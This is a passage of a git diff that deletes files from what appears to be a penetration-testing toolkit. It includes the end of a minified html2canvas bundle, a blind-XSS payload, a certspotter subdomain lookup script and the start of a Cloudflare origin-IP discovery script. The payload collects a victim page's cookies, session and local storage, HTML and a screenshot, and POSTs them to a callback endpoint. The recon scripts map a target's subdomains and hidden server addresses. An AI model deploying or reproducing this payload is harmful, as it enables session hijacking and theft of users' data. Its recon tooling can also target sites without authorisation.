s=i(t,e,o),a=i(e,n,o),c=i(n,r,o),h=i(s,a,o),u=i(a,c,o),p=i(h,u,o);return[_(t,s,h,p),_(p,u,c,r)]},curveTo:function(t){t.push(["bezierCurve",e.x,e.y,n.x,n.y,r.x,r.y])},curveToReversed:function(r){r.push(["bezierCurve",n.x,n.y,e.x,e.y,t.x,t.y])}}}function F(t,e,n,r,i,o,s){var a=[];return e[0]>0||e[1]>0?(a.push(["line",r[1].start.x,r[1].start.y]),r[1].curveTo(a)):a.push(["line",t.c1[0],t.c1[1]]),n[0]>0||n[1]>0?(a.push(["line",o[0].start.x,o[0].start.y]),o[0].curveTo(a),a.push(["line",s[0].end.x,s[0].end.y]),s[0].curveToReversed(a)):(a.push(["line",t.c2[0],t.c2[1]]),a.push(["line",t.c3[0],t.c3[1]])),e[0]>0||e[1]>0?(a.push(["line",i[1].end.x,i[1].end.y]),i[1].curveToReversed(a)):a.push(["line",t.c4[0],t.c4[1]]),a}function W(t,e,n,r,i,o,s){e[0]>0||e[1]>0?(t.push(["line",r[0].start.x,r[0].start.y]),r[0].curveTo(t),r[1].curveTo(t)):t.push(["line",o,s]),(n[0]>0||n[1]>0)&&t.push(["line",i[0].start.x,i[0].start.y])}function H(t){return t.cssInt("zIndex")<0}function j(t){return t.cssInt("zIndex")>0}function V(t){return 0===t.cssInt("zIndex")}function z(t){return-1!==["inline","inline-block","inline-table"].indexOf(t.css("display"))}function Y(t){return t instanceof le}function X(t){return t.node.data.trim().length>0}function G(t){return/^(normal|none|0px)$/.test(t.parent.css("letterSpacing"))}function U(t){return["TopLeft","TopRight","BottomRight","BottomLeft"].map(function(e){var n=t.css("border"+e+"Radius"),r=n.split(" ");return r.length<=1&&(r[1]=r[0]),r.map(oe)})}function Q(t){return t.nodeType===Node.TEXT_NODE||t.nodeType===Node.ELEMENT_NODE}function q(t){var e=t.css("position"),n="absolute"===e||"relative"===e?t.css("zIndex"):"auto";return"auto"!==n}function $(t){return"static"!==t.css("position")}function J(t){return"none"!==t.css("float")}function K(t){return-1!==["inline-block","inline-table"].indexOf(t.css("display"))}function Z(t){var e=this;return function(){return!t.apply(e,arguments)}}function te(t){return t.node.nodeType===Node.ELEMENT_NODE}function ee(t){return t.node.nodeType===Node.TEXT_NODE}function ne(t,e){return t.cssInt("zIndex")-e.cssInt("zIndex")}function re(t){return t.css("opacity")<1}function ie(t,e){return function(){return t.apply(e,arguments)}}function oe(t){return parseInt(t,10)}function se(t){return t.width}function ae(t){return t.node.nodeType!==Node.ELEMENT_NODE||-1===["SCRIPT","HEAD","TITLE","OBJECT","BR","OPTION"].indexOf(t.node.nodeName)}function ce(t){return[].concat.apply([],t)}function he(t){var e=t.substr(0,1);return e===t.substr(t.length-1)&&e.match(/'|"/)?t.substr(1,t.length-2):t}function ue(r,i){var o="html2canvas_"+Te++,s=e.createElement("script"),a=e.createElement("a");a.href=r,r=a.href;var c=i+(i.indexOf("?")>-1?"&":"?")+"url="+encodeURIComponent(r)+"&callback="+o;this.src=r,this.image=new Image;var h=this;this.promise=new Promise(function(r,i){h.image.onload=r,h.image.onerror=i,t[o]=function(e){"error:"===e.substring(0,6)?i():h.image.src=e,t[o]=n;try{delete t[o]}catch(r){}s.parentNode.removeChild(s)},s.setAttribute("type","text/javascript"),s.setAttribute("src",c),e.body.appendChild(s)})["catch"](function(){var t=new p(r);return t.promise.then(function(t){h.image=t})})}function pe(t,e,n,r){this.width=t,this.height=e,this.images=n,this.options=r}function le(t,e,n,r){T.call(this,n,r),this.ownStacking=t,this.contexts=[],this.children=[],this.opacity=(this.parent?this.parent.stack.opacity:1)*e}function de(t){this.rangeBounds=this.testRangeBounds(t),this.cors=this.testCORS(),this.svg=this.testSVG()}function fe(t){this.src=t,this.image=null;var e=this;this.promise=this.hasFabric().then(function(){return e.isInline(t)?Promise.resolve(e.inlineFormatting(t)):be(t)}).then(function(t){return new Promise(function(n){html2canvas.fabric.loadSVGFromString(t,e.createCanvas.call(e,n))})})}function ge(t){var e,n,r,i,o,s,a,c,h="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",u=t.length,p="";for(e=0;u>e;e+=4)n=h.indexOf(t[e]),r=h.indexOf(t[e+1]),i=h.indexOf(t[e+2]),o=h.indexOf(t[e+3]),s=n<<2|r>>4,a=(15&r)<<4|i>>2,c=(3&i)<<6|o,p+=64===i?String.fromCharCode(s):64===o||-1===o?String.fromCharCode(s,a):String.fromCharCode(s,a,c);return p}function me(t){this.src=t,this.image=null;var e=this;this.promise=this.hasFabric().then(function(){return new Promise(function(n){html2canvas.fabric.parseSVGDocument(t,e.createCanvas.call(e,n))})})}function ye(t,e){T.call(this,t,e)}function ve(t,e,n){return t.length>0?e+n.toUpperCase():void 0}function we(t){f.apply(this,arguments),this.type="linear"===t.args[0]?this.TYPES.LINEAR:this.TYPES.RADIAL}function be(t){return new Promise(function(e,n){var r=new XMLHttpRequest;r.open("GET",t),r.onload=function(){200===r.status?e(r.responseText):n(new Error(r.statusText))},r.onerror=function(){n(new Error("Network Error"))},r.send()})}function xe(t,n){pe.apply(this,arguments),this.canvas=e.createElement("canvas"),this.canvas.width=t,this.canvas.height=n,this.ctx=this.canvas.getContext("2d"),this.taintCtx=e.createElement("canvas").getContext("2d"),this.ctx.textBaseline="bottom",this.variables={},E("Initialized CanvasRenderer")}if(!function(){var n,r,i,o;!function(){var t={},e={};n=function(e,n,r){t[e]={deps:n,callback:r}},o=i=r=function(n){function i(t){if("."!==t.charAt(0))return t;for(var e=t.split("/"),r=n.split("/").slice(0,-1),i=0,o=e.length;o>i;i++){var s=e[i];if(".."===s)r.pop();else{if("."===s)continue;r.push(s)}}return r.join("/")}if(o._eak_seen=t,e[n])return e[n];if(e[n]={},!t[n])throw new Error("Could not find module "+n);for(var s,a=t[n],c=a.deps,h=a.callback,u=[],p=0,l=c.length;l>p;p++)u.push("exports"===c[p]?s={}:r(i(c[p])));var d=h.apply(this,u);return e[n]=s||d}}(),n("promise/all",["./utils","exports"],function(t,e){"use strict";function n(t){var e=this;if(!r(t))throw new TypeError("You must pass an array to all.");return new e(function(e,n){function r(t){return function(e){o(t,e)}}function o(t,n){a[t]=n,0===--c&&e(a)}var s,a=[],c=t.length;0===c&&e([]);for(var h=0;hs^"contain"===o[0]?{width:t.height*a,height:t.height}:{width:t.width,height:t.width/a}}r=parseInt(o[0],10)}return i="auto"===o[0]&&"auto"===o[1]?e.height:"auto"===o[1]?r/e.width*e.height:I(o[1])?t.height*parseFloat(o[1])/100:parseInt(o[1],10),"auto"===o[0]&&(r=i/e.height*e.width),{width:r,height:i}},T.prototype.parseBackgroundPosition=function(t,e,n,r){var i,o,s=this.cssList("backgroundPosition",n);return i=I(s[0])?(t.width-(r||e).width)*(parseFloat(s[0])/100):parseInt(s[0],10),o="auto"===s[1]?i/e.width*e.height:I(s[1])?(t.height-(r||e).height)*parseFloat(s[1])/100:parseInt(s[1],10),"auto"===s[0]&&(i=o/e.height*e.width),{left:i,top:o}},T.prototype.parseBackgroundRepeat=function(t){return this.cssList("backgroundRepeat",t)[0]},T.prototype.parseTextShadows=function(){var t=this.css("textShadow"),e=[];if(t&&"none"!==t)for(var n=t.match(this.TEXT_SHADOW_PROPERTY),r=0;n&&rDate.now()?this.asyncRenderer(t,e,n):setTimeout(ie(function(){this.asyncRenderer(t,e)},this),0)},P.prototype.createPseudoHideStyles=function(t){var e=t.createElement("style");e.innerHTML="."+this.pseudoHideClass+':before { content: "" !important; display: none !important; }.'+this.pseudoHideClass+':after { content: "" !important; display: none !important; }',t.body.appendChild(e)},P.prototype.getPseudoElements=function(t){var e=[[t]];if(t.node.nodeType===Node.ELEMENT_NODE){var n=this.getPseudoElement(t,":before"),r=this.getPseudoElement(t,":after");n&&(t.node.insertBefore(n[0].node,t.node.firstChild),e.push(n)),r&&(t.node.appendChild(r[0].node),e.push(r)),(n||r)&&(t.node.className+=" "+this.pseudoHideClass)}return ce(e)},P.prototype.getPseudoElement=function(t,n){var r=t.computedStyle(n);if(!r||!r.content||"none"===r.content||"-moz-alt-content"===r.content||"none"===r.display)return null;for(var i=he(r.content),o="url"===i.substr(0,3),s=e.createElement(o?"img":"html2canvaspseudoelement"),a=new T(s,t),c=r.length-1;c>=0;c--){var h=A(r.item(c));s.style[h]=r[h]}if(s.className=this.pseudoHideClass,o)return s.src=S(i)[0].args[0],[a];var u=e.createTextNode(i);return s.appendChild(u),[a,new ye(u,a)]},P.prototype.getChildren=function(t){return ce([].filter.call(t.node.childNodes,Q).map(function(e){var n=[e.nodeType===Node.TEXT_NODE?new ye(e,t):new T(e,t)].filter(ae);return e.nodeType===Node.ELEMENT_NODE&&n.length&&"TEXTAREA"!==e.tagName?n[0].isElementVisible()?n.concat(this.getChildren(n[0])):[]:n},this))},P.prototype.newStackingContext=function(t,e){var n=new le(e,t.cssFloat("opacity"),t.node,t.parent);n.visible=t.visible;var r=e?n.getParentStack(this):n.parent.stack;r.contexts.push(n),t.stack=n},P.prototype.createStackingContexts=function(){this.nodes.forEach(function(t){te(t)&&(this.isRootElement(t)||re(t)||q(t)||this.isBodyWithTransparentRoot(t)||t.hasTransform())?this.newStackingContext(t,!0):te(t)&&($(t)&&V(t)||K(t)||J(t))?this.newStackingContext(t,!1):t.assignStack(t.parent.stack)},this)},P.prototype.isBodyWithTransparentRoot=function(t){return"BODY"===t.node.nodeName&&this.renderer.isTransparent(t.parent.css("backgroundColor"))},P.prototype.isRootElement=function(t){return null===t.parent},P.prototype.sortStackingContexts=function(t){t.contexts.sort(ne),t.contexts.forEach(this.sortStackingContexts,this)},P.prototype.parseTextBounds=function(t){return function(e,n,r){if("none"!==t.parent.css("textDecoration").substr(0,4)||0!==e.trim().length){if(this.support.rangeBounds&&!t.parent.hasTransform()){var i=r.slice(0,n).join("").length;return this.getRangeBounds(t.node,i,e.length)}if(t.node&&"string"==typeof t.node.data){var o=t.node.splitText(e.length),s=this.getWrapperBounds(t.node,t.parent.hasTransform());return t.node=o,s}}else(!this.support.rangeBounds||t.parent.hasTransform())&&(t.node=t.node.splitText(e.length));return{}}},P.prototype.getWrapperBounds=function(t,e){var n=t.ownerDocument.createElement("html2canvaswrapper"),r=t.parentNode,i=t.cloneNode(!0);n.appendChild(t.cloneNode(!0)),r.replaceChild(n,t);var o=e?M(n):B(n);return r.replaceChild(i,n),o},P.prototype.getRangeBounds=function(t,e,n){var r=this.range||(this.range=t.ownerDocument.createRange());return r.setStart(t,e),r.setEnd(t,e+n),r.getBoundingClientRect()},P.prototype.parse=function(t){var e=t.contexts.filter(H),n=t.children.filter(te),r=n.filter(Z(J)),i=r.filter(Z($)).filter(Z(z)),o=n.filter(Z($)).filter(J),s=r.filter(Z($)).filter(z),a=t.contexts.concat(r.filter($)).filter(V),c=t.children.filter(ee).filter(X),h=t.contexts.filter(j);e.concat(i).concat(o).concat(s).concat(a).concat(c).concat(h).forEach(function(t){this.renderQueue.push(t),Y(t)&&(this.parse(t),this.renderQueue.push(new N))},this)},P.prototype.paint=function(t){try{t instanceof N?this.renderer.ctx.restore():ee(t)?this.paintText(t):this.paintNode(t)}catch(e){E(e)}},P.prototype.paintNode=function(t){Y(t)&&(this.renderer.setOpacity(t.opacity),this.renderer.ctx.save(),t.hasTransform()&&this.renderer.setTransform(t.parseTransform()));var e=t.parseBounds(),n=this.parseBorders(t);switch(this.renderer.clip(n.clip,function(){this.renderer.renderBackground(t,e,n.borders.map(se))},this),this.renderer.renderBorders(n.borders),t.node.nodeName){case"svg":var r=this.images.get(t.node);r?this.renderer.renderImage(t,e,n,r):E("Error loading ",t.node);break;case"IMG":var i=this.images.get(t.node.src);i?this.renderer.renderImage(t,e,n,i):E("Error loading ",t.node.src);break;case"SELECT":case"INPUT":case"TEXTAREA":this.paintFormValue(t)}},P.prototype.paintFormValue=function(t){if(t.getValue().length>0){var e=t.node.ownerDocument,n=e.createElement("html2canvaswrapper"),r=["lineHeight","textAlign","fontFamily","fontWeight","fontSize","color","paddingLeft","paddingTop","paddingRight","paddingBottom","width","height","borderLeftStyle","borderTopStyle","borderLeftWidth","borderTopWidth","boxSizing","whiteSpace","wordWrap"]; -r.forEach(function(e){try{n.style[e]=t.css(e)}catch(r){E("html2canvas: Parse: Exception caught in renderFormValue: "+r.message)}});var i=t.parseBounds();n.style.position="absolute",n.style.left=i.left+"px",n.style.top=i.top+"px",n.textContent=t.getValue(),e.body.appendChild(n),this.paintText(new ye(n.firstChild,t)),e.body.removeChild(n)}},P.prototype.paintText=function(t){t.applyTextTransform();var e=t.node.data.split(!this.options.letterRendering||G(t)?/(\b| )/:""),n=t.parent.fontWeight(),r=t.parent.css("fontSize"),i=t.parent.css("fontFamily"),o=t.parent.parseTextShadows();this.renderer.font(t.parent.css("color"),t.parent.css("fontStyle"),t.parent.css("fontVariant"),n,r,i),o.length?this.renderer.fontShadow(o[0].color,o[0].offsetX,o[0].offsetY,o[0].blur):this.renderer.clearShadow(),e.map(this.parseTextBounds(t),this).forEach(function(n,o){n&&(this.renderer.text(e[o],n.left,n.bottom),this.renderTextDecoration(t.parent,n,this.fontMetrics.getMetrics(i,r)))},this)},P.prototype.renderTextDecoration=function(t,e,n){switch(t.css("textDecoration").split(" ")[0]){case"underline":this.renderer.rectangle(e.left,Math.round(e.top+n.baseline+n.lineWidth),e.width,1,t.css("color"));break;case"overline":this.renderer.rectangle(e.left,Math.round(e.top),e.width,1,t.css("color"));break;case"line-through":this.renderer.rectangle(e.left,Math.ceil(e.top+n.middle+n.lineWidth),e.width,1,t.css("color"))}},P.prototype.parseBorders=function(t){var e=t.bounds,n=U(t),r=["Top","Right","Bottom","Left"].map(function(e){return{width:t.cssInt("border"+e+"Width"),color:t.css("border"+e+"Color"),args:null}}),i=D(e,n,r);return{clip:this.parseBackgroundClip(t,i,r,n,e),borders:r.map(function(t,o){if(t.width>0){var s=e.left,a=e.top,c=e.width,h=e.height-r[2].width;switch(o){case 0:h=r[0].width,t.args=F({c1:[s,a],c2:[s+c,a],c3:[s+c-r[1].width,a+h],c4:[s+r[3].width,a+h]},n[0],n[1],i.topLeftOuter,i.topLeftInner,i.topRightOuter,i.topRightInner);break;case 1:s=e.left+e.width-r[1].width,c=r[1].width,t.args=F({c1:[s+c,a],c2:[s+c,a+h+r[2].width],c3:[s,a+h],c4:[s,a+r[0].width]},n[1],n[2],i.topRightOuter,i.topRightInner,i.bottomRightOuter,i.bottomRightInner);break;case 2:a=a+e.height-r[2].width,h=r[2].width,t.args=F({c1:[s+c,a+h],c2:[s,a+h],c3:[s+r[3].width,a],c4:[s+c-r[3].width,a]},n[2],n[3],i.bottomRightOuter,i.bottomRightInner,i.bottomLeftOuter,i.bottomLeftInner);break;case 3:c=r[3].width,t.args=F({c1:[s,a+h+r[2].width],c2:[s,a],c3:[s+c,a+r[0].width],c4:[s+c,a+h]},n[3],n[0],i.bottomLeftOuter,i.bottomLeftInner,i.topLeftOuter,i.topLeftInner)}}return t})}},P.prototype.parseBackgroundClip=function(t,e,n,r,i){var o=t.css("backgroundClip"),s=[];switch(o){case"content-box":case"padding-box":W(s,r[0],r[1],e.topLeftInner,e.topRightInner,i.left+n[3].width,i.top+n[0].width),W(s,r[1],r[2],e.topRightInner,e.bottomRightInner,i.left+i.width-n[1].width,i.top+n[0].width),W(s,r[2],r[3],e.bottomRightInner,e.bottomLeftInner,i.left+i.width-n[1].width,i.top+i.height-n[2].width),W(s,r[3],r[0],e.bottomLeftInner,e.topLeftInner,i.left+n[3].width,i.top+i.height-n[2].width);break;default:W(s,r[0],r[1],e.topLeftOuter,e.topRightOuter,i.left,i.top),W(s,r[1],r[2],e.topRightOuter,e.bottomRightOuter,i.left+i.width,i.top),W(s,r[2],r[3],e.bottomRightOuter,e.bottomLeftOuter,i.left+i.width,i.top+i.height),W(s,r[3],r[0],e.bottomLeftOuter,e.topLeftOuter,i.left,i.top+i.height)}return s},P.prototype.pseudoHideClass="___html2canvas___pseudoelement";var Te=0;pe.prototype.renderImage=function(t,e,n,r){var i=t.cssInt("paddingLeft"),o=t.cssInt("paddingTop"),s=t.cssInt("paddingRight"),a=t.cssInt("paddingBottom"),c=n.borders,h=e.width-(c[1].width+c[3].width+i+s),u=e.height-(c[0].width+c[2].width+o+a);this.drawImage(r,0,0,r.image.width||h,r.image.height||u,e.left+i+c[3].width,e.top+o+c[0].width,h,u)},pe.prototype.renderBackground=function(t,e,n){e.height>0&&e.width>0&&(this.renderBackgroundColor(t,e),this.renderBackgroundImage(t,e,n))},pe.prototype.renderBackgroundColor=function(t,e){var n=t.css("backgroundColor");this.isTransparent(n)||this.rectangle(e.left,e.top,e.width,e.height,t.css("backgroundColor"))},pe.prototype.renderBorders=function(t){t.forEach(this.renderBorder,this)},pe.prototype.renderBorder=function(t){this.isTransparent(t.color)||null===t.args||this.drawShape(t.args,t.color)},pe.prototype.renderBackgroundImage=function(t,e,n){var r=t.parseBackgroundImages();r.reverse().forEach(function(r,i,o){switch(r.method){case"url":var s=this.images.get(r.args[0]);s?this.renderBackgroundRepeating(t,e,s,o.length-(i+1),n):E("Error loading background-image",r.args[0]);break;case"linear-gradient":case"gradient":var a=this.images.get(r.value);a?this.renderBackgroundGradient(a,e,n):E("Error loading background-image",r.args[0]);break;case"none":break;default:E("Unknown background-image type",r.args[0])}},this)},pe.prototype.renderBackgroundRepeating=function(t,e,n,r,i){var o=t.parseBackgroundSize(e,n.image,r),s=t.parseBackgroundPosition(e,n.image,r,o),a=t.parseBackgroundRepeat(r);switch(a){case"repeat-x":case"repeat no-repeat":this.backgroundRepeatShape(n,s,o,e,e.left+i[3],e.top+s.top+i[0],99999,n.image.height,i);break;case"repeat-y":case"no-repeat repeat":this.backgroundRepeatShape(n,s,o,e,e.left+s.left+i[3],e.top+i[0],n.image.width,99999,i);break;case"no-repeat":this.backgroundRepeatShape(n,s,o,e,e.left+s.left+i[3],e.top+s.top+i[0],n.image.width,n.image.height,i);break;default:this.renderBackgroundRepeat(n,s,o,{top:e.top,left:e.left},i[3],i[0])}},pe.prototype.isTransparent=function(t){return!t||"transparent"===t||"rgba(0, 0, 0, 0)"===t},le.prototype=Object.create(T.prototype),le.prototype.getParentStack=function(t){var e=this.parent?this.parent.stack:null;return e?e.ownStacking?e:e.getParentStack(t):t.stack},de.prototype.testRangeBounds=function(t){var e,n,r,i,o=!1;return t.createRange&&(e=t.createRange(),e.getBoundingClientRect&&(n=t.createElement("boundtest"),n.style.height="123px",n.style.display="block",t.body.appendChild(n),e.selectNode(n),r=e.getBoundingClientRect(),i=r.height,123===i&&(o=!0),t.body.removeChild(n))),o},de.prototype.testCORS=function(){return"undefined"!=typeof(new Image).crossOrigin},de.prototype.testSVG=function(){var t=new Image,n=e.createElement("canvas"),r=n.getContext("2d");t.src="data:image/svg+xml,";try{r.drawImage(t,0,0),n.toDataURL()}catch(i){return!1}return!0},fe.prototype.hasFabric=function(){return html2canvas.fabric?Promise.resolve():Promise.reject(new Error("html2canvas.svg.js is not loaded, cannot render svg"))},fe.prototype.inlineFormatting=function(t){return/^data:image\/svg\+xml;base64,/.test(t)?this.decode64(this.removeContentType(t)):this.removeContentType(t)},fe.prototype.removeContentType=function(t){return t.replace(/^data:image\/svg\+xml(;base64)?,/,"")},fe.prototype.isInline=function(t){return/^data:image\/svg\+xml/i.test(t)},fe.prototype.createCanvas=function(t){var e=this;return function(n,r){var i=new html2canvas.fabric.StaticCanvas("c");e.image=i.lowerCanvasEl,i.setWidth(r.width).setHeight(r.height).add(html2canvas.fabric.util.groupSVGElements(n,r)).renderAll(),t(i.lowerCanvasEl)}},fe.prototype.decode64=function(e){return"function"==typeof t.atob?t.atob(e):ge(e)},me.prototype=Object.create(fe.prototype),ye.prototype=Object.create(T.prototype),ye.prototype.applyTextTransform=function(){this.node.data=this.transform(this.parent.css("textTransform"))},ye.prototype.transform=function(t){var e=this.node.data;switch(t){case"lowercase":return e.toLowerCase();case"capitalize":return e.replace(/(^|\s|:|-|\(|\))([a-z])/g,ve);case"uppercase":return e.toUpperCase();default:return e}},we.prototype=Object.create(f.prototype),xe.prototype=Object.create(pe.prototype),xe.prototype.setFillStyle=function(t){return this.ctx.fillStyle=t,this.ctx},xe.prototype.rectangle=function(t,e,n,r,i){this.setFillStyle(i).fillRect(t,e,n,r)},xe.prototype.drawShape=function(t,e){this.shape(t),this.setFillStyle(e).fill()},xe.prototype.taints=function(t){if(null===t.tainted){this.taintCtx.drawImage(t.image,0,0);try{this.taintCtx.getImageData(0,0,1,1),t.tainted=!1}catch(n){this.taintCtx=e.createElement("canvas").getContext("2d"),t.tainted=!0}}return t.tainted},xe.prototype.drawImage=function(t,e,n,r,i,o,s,a,c){(!this.taints(t)||this.options.allowTaint)&&this.ctx.drawImage(t.image,e,n,r,i,o,s,a,c)},xe.prototype.clip=function(t,e,n){this.ctx.save(),this.shape(t).clip(),e.call(n),this.ctx.restore()},xe.prototype.shape=function(t){return this.ctx.beginPath(),t.forEach(function(t,e){this.ctx[0===e?"moveTo":t[0]+"To"].apply(this.ctx,t.slice(1))},this),this.ctx.closePath(),this.ctx},xe.prototype.font=function(t,e,n,r,i,o){this.setFillStyle(t).font=[e,n,r,i,o].join(" ")},xe.prototype.fontShadow=function(t,e,n,r){this.setVariable("shadowColor",t).setVariable("shadowOffsetY",e).setVariable("shadowOffsetX",n).setVariable("shadowBlur",r)},xe.prototype.clearShadow=function(){this.setVariable("shadowColor","rgba(0,0,0,0)")},xe.prototype.setOpacity=function(t){this.ctx.globalAlpha=t},xe.prototype.setTransform=function(t){this.ctx.translate(t.origin[0],t.origin[1]),this.ctx.transform.apply(this.ctx,t.matrix),this.ctx.translate(-t.origin[0],-t.origin[1])},xe.prototype.setVariable=function(t,e){return this.variables[t]!==e&&(this.variables[t]=this.ctx[t]=e),this},xe.prototype.text=function(t,e,n){this.ctx.fillText(t,e,n)},xe.prototype.backgroundRepeatShape=function(t,e,n,r,i,o,s,a,c){var h=[["line",Math.round(i),Math.round(o)],["line",Math.round(i+s),Math.round(o)],["line",Math.round(i+s),Math.round(a+o)],["line",Math.round(i),Math.round(a+o)]];this.clip(h,function(){this.renderBackgroundRepeat(t,e,n,r,c[3],c[0])},this)},xe.prototype.renderBackgroundRepeat=function(t,e,n,r,i,o){var s=Math.round(r.left+e.left+i),a=Math.round(r.top+e.top+o);this.setFillStyle(this.ctx.createPattern(this.resizeImage(t,n),"repeat")),this.ctx.translate(s,a),this.ctx.fill(),this.ctx.translate(-s,-a)},xe.prototype.renderBackgroundGradient=function(t,e){if(t instanceof x){var n=this.ctx.createLinearGradient(e.left+e.width*t.x0,e.top+e.height*t.y0,e.left+e.width*t.x1,e.top+e.height*t.y1);t.colorStops.forEach(function(t){n.addColorStop(t.stop,t.color)}),this.rectangle(e.left,e.top,e.width,e.height,n)}},xe.prototype.resizeImage=function(t,n){var r=t.image;if(r.width===n.width&&r.height===n.height)return r;var i,o=e.createElement("canvas");return o.width=n.width,o.height=n.height,i=o.getContext("2d"),i.drawImage(r,0,0,r.width,r.height,0,0,n.width,n.height),o}}(window,document); - -function collectDatas() -{ - window.setTimeout( doCollectDatas, 2000 ); -} - -function doCollectDatas() -{ - var callback = ''; - - var t_datas = new Object(); - t_datas['origin'] = document.location.origin; - t_datas['user_agent'] = navigator.userAgent; - t_datas['target_url'] = document.URL; - t_datas['referrer_url'] = document.referrer; - t_datas['cookies'] = document.cookie; - t_datas['session_storage'] = JSON.stringify(sessionStorage); - t_datas['local_storage'] = JSON.stringify(localStorage); - t_datas['document_html'] = document.documentElement.outerHTML; - - try { - html2canvas(document.body).then(function(canvas) { - t_datas['screenshot'] = canvas.toDataURL(); - sendDatas( callback, t_datas ); - }, function() { - t_datas['screenshot'] = ''; - sendDatas( callback, t_datas ); - }); - } catch( e ) { - t_datas['screenshot'] = ''; - sendDatas( callback, t_datas ); - } -} - -function sendDatas( callback, t_datas ) -{ - var xhr = new XMLHttpRequest(); - xhr.open( 'POST', callback, true ); - xhr.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded' ); - xhr.send( 'datas=' + JSON.stringify(t_datas) ); -} - -if( document.readyState == 'complete' ) { - collectDatas(); -} else { - if( window.addEventListener ) { - window.addEventListener( 'load', collectDatas(), false ); - } else if( window.attachEvent ) { - window.attachEvent( 'onload', collecDatas() ); - } -} diff --git a/certspotter.sh b/certspotter.sh deleted file mode 100755 index 91c3311..0000000 --- a/certspotter.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -curl -s https://certspotter.com/api/v0/certs?domain=$1 | jq -c '.[].dns_names' | grep -o '"[^"]\+"' | tr -d '"' | sort -fu; diff --git a/cloudflare-origin-ip.py b/cloudflare-origin-ip.py deleted file mode 100755 index 5176d43..0000000 --- a/cloudflare-origin-ip.py +++ /dev/null @@ -1,488 +0,0 @@ -#!/usr/bin/python2 - -# I don't believe in license. -# You can do whatever you want with this program. - -import os -import sys -import json -import requests -import tldextract -import socket -import argparse -import threading -import time -import textwrap -from functools import partial -# from urlparse import urlparse -from urllib import parse -from termcolor import colored -from netaddr import * -from multiprocessing.dummy import Pool - -# disable "InsecureRequestWarning: Unverified HTTPS request is being made." -from requests.packages.urllib3.exceptions import InsecureRequestWarning -requests.packages.urllib3.disable_warnings(InsecureRequestWarning) - - -def banner(): - print(""" - _ _ __ _ _ _ _ - ___| | ___ _ _ __| |/ _| | __ _ _ __ ___ ___ _ __(_) __ _(_)_ __ (_)_ __ _ __ _ _ - / __| |/ _ \| | | |/ _` | |_| |/ _` | '__/ _ \ / _ \| '__| |/ _` | | '_ \ | | '_ \ | '_ \| | | | - | (__| | (_) | |_| | (_| | _| | (_| | | | __/ | (_) | | | | (_| | | | | | | | |_) | _ | |_) | |_| | - \___|_|\___/ \__,_|\__,_|_| |_|\__,_|_| \___| \___/|_| |_|\__, |_|_| |_| |_| .__/ (_) | .__/ \__, | - |___/ |_| |_| |___/ - - by @gwendallecoguic - -""") - pass - -banner() - - -TEST_BYPASS = 1 -GOOD_CANDIDATE_SCORE = 80 -COMPARE_FIRST_CHARS = 1000 -REQUEST_TIMEOUT = 3 -MAX_THREADS = 10 - -r_cloudflare = [ - '103.21.244.0/22', - '103.22.200.0/22', - '103.31.4.0/22', - '104.16.0.0/12', - '108.162.192.0/18', - '131.0.72.0/22', - '141.101.64.0/18', - '162.158.0.0/15', - '172.64.0.0/13', - '173.245.48.0/20', - '188.114.96.0/20', - '190.93.240.0/20', - '197.234.240.0/22', - '198.41.128.0/17' -] -r_cloudflare2 = [ - [1729491968,1729492991], - [1729546240,1729547263], - [1730085888,1730086911], - [1745879040,1746927615], - [1822605312,1822621695], - [2197833728,2197834751], - [2372222976,2372239359], - [2728263680,2728394751], - [2889875456,2890399743], - [2918526976,2918531071], - [3161612288,3161616383], - [3193827328,3193831423], - [3320508416,3320509439], - [3324608512,3324641279] -] - -t_exclude_headers = [ - 'Set-Cookie', 'Date', 'Last-Modified', 'Expires', 'Age', 'CF-RAY' -] - -parser = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''Examples: -cloudflare-origin-ip.py -u https://xxx.xxxxxxxxxxxx.xxx -cloudflare-origin-ip.py -u https://xxx.xxxxxxxxxxxx.xxx -s censys,crtsh (default) -cloudflare-origin-ip.py -u https://xxx.xxxxxxxxxxxx.xxx -s /home/local/ips.txt -cloudflare-origin-ip.py -u https://xxx.xxxxxxxxxxxx.xxx -s censys,crtsh,/home/local/ips.txt,/home/local/subdomains.txt - -Note that this is an automated tool, manual check is still required. -''') ) -parser.add_argument( "-u","--url",help="url to test" ) -parser.add_argument( "-s","--source",help="datas sources separated by coma, can be: censys,crtsh,local file" ) -parser.parse_args() -args = parser.parse_args() - -if args.url: - url = args.url -else: - parser.error( 'host is missing ' ) - -if args.source: - t_sources = args.source.split( ',' ) -else: - t_sources = [ 'censys', 'crtsh' ] - -if 'censys' in t_sources: - CENSYS_API_URL = 'https://search.censys.io/api' - try: - CENSYS_UID = os.environ['CENSYS_UID'] - CENSYS_SECRET = os.environ['CENSYS_SECRET'] - except Exception as e: - print( "Error: %s not defined" % e ) - print( "To fix this:" ) - print( "export CENSYS_UID=xxxxxxxxxxxxxxxxxxxxxxxxxx" ) - print( "export CENSYS_SECRET=xxxxxxxxxxxxxxxxxxxxxxx" ) - exit() - -# https://stackoverflow.com/questions/5619685/conversion-from-ip-string-to-integer-and-backward-in-python -def IP2Int(ip): - o = list( map(int, ip.split('.')) ) - res = (16777216 * o[0]) + (65536 * o[1]) + (256 * o[2]) + o[3] - return res - -def Int2IP(ipnum): - o1 = int(ipnum / 16777216) % 256 - o2 = int(ipnum / 65536) % 256 - o3 = int(ipnum / 256) % 256 - o4 = int(ipnum) % 256 - return '%(o1)s.%(o2)s.%(o3)s.%(o4)s' % locals() - - -# https://en.wikibooks.org/wiki/Algorithm_Implementation/Strings/Levenshtein_distance#Python -def levenshtein(s, t): - ''' From Wikipedia article; Iterative with two matrix rows. ''' - if s == t: return 0 - elif len(s) == 0: return len(t) - elif len(t) == 0: return len(s) - v0 = [None] * (len(t) + 1) - v1 = [None] * (len(t) + 1) - for i in range(len(v0)): - v0[i] = i - for i in range(len(s)): - v1[0] = i + 1 - for j in range(len(t)): - cost = 0 if s[i] == t[j] else 1 - v1[j + 1] = min(v1[j] + 1, v0[j + 1] + 1, v0[j] + cost) - for j in range(len(v0)): - v0[j] = v1[j] - - return v1[len(t)] - - -def grabSubs( domain ): - print( "[+] Grabbing subdomains from crt.sh: %s" % domain ) - url = 'https://crt.sh/?q=%25.' + domain + '&output=json' - try: - ex = 0 - r = requests.get( url ) - except Exception as e: - ex = 1 - print( colored("[-] error occured: 